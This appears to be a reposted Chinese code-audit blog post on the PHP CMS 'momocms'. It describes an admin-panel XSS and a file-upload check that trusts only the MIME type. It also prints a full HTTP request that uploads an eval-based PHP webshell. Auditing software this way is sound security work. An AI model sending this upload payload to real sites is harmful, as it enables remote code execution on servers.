无聊时看了站长之家上有个程序挺火的,下载下来看了下。
前端的$_GET都是用intval()函数过滤了,没有什么可利用的。
后台有一处xss
在
admin\create_sub_product.php的第96行
<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET['id']; ?>"> <p> </span>

二:上传漏洞
在admin/banner_do.php 中
代码如下
<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");
if(empty($_SESSION['momocms_admin'])){
header("Location:./index.php");
exit;
}
if($_SESSION['momocms_isAdmin']==1){
if (($_FILES["banner"]["type"] == "image/gif")
|| ($_FILES["banner"]["type"] == "image/jpeg")
|| ($_FILES["banner"]["type"] == "image/png")
|| ($_FILES["banner"]["type"] == "image/pjpeg"))
{
if ($_FILES["banner"]["error"] > 0){
echo "Return Code: " . $_FILES["banner"]["error"] . "<br />";
}else{
if(!is_dir("../resource/slide/images")){
mkdir("../resource/slide/images");
}
$pos = strrpos($_FILES["banner"]["name"],".");
$back = substr($_FILES["banner"]["name"],$pos);
$_FILES["banner"]["name"] = time().$back;
move_uploaded_file($_FILES["banner"]["tmp_name"],
"../resource/slide/images/". $_FILES["banner"]["name"]);
$pic="../resource/slide/images/". $_FILES["banner"]["name"];
echo '<script>
parent.document.getElementById("successMsg").style.display="block";
setTimeout(function(){
parent.window.location.href="./banner.php";
},1500);
</script>';
}
}
}
</span>可以看到上传至判断了上传的类型,而没有判断上传的后缀等等。
所以可以构造Content-type:image/jpeg 即可突破上传
<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/test/momocms/admin/banner.php Cookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------13761195204349 Content-Length: 227 -----------------------------13761195204349 Content-Disposition: form-data; name="banner"; filename="1.php" Content-Type: image/jpeg <?php eval($_POST['w']);?> -----------------------------13761195204349-- </span>


然后在后台挂件哪里可以直接修改php源代码
暂时看了这么多。还有其他的以后再看吧。
以上就介绍了momocms代码审计,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。
每个人都需要一台速度更快、更稳定的 PC。随着时间的推移,垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是,许多工具可以让 Windows 保持平稳运行。
Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号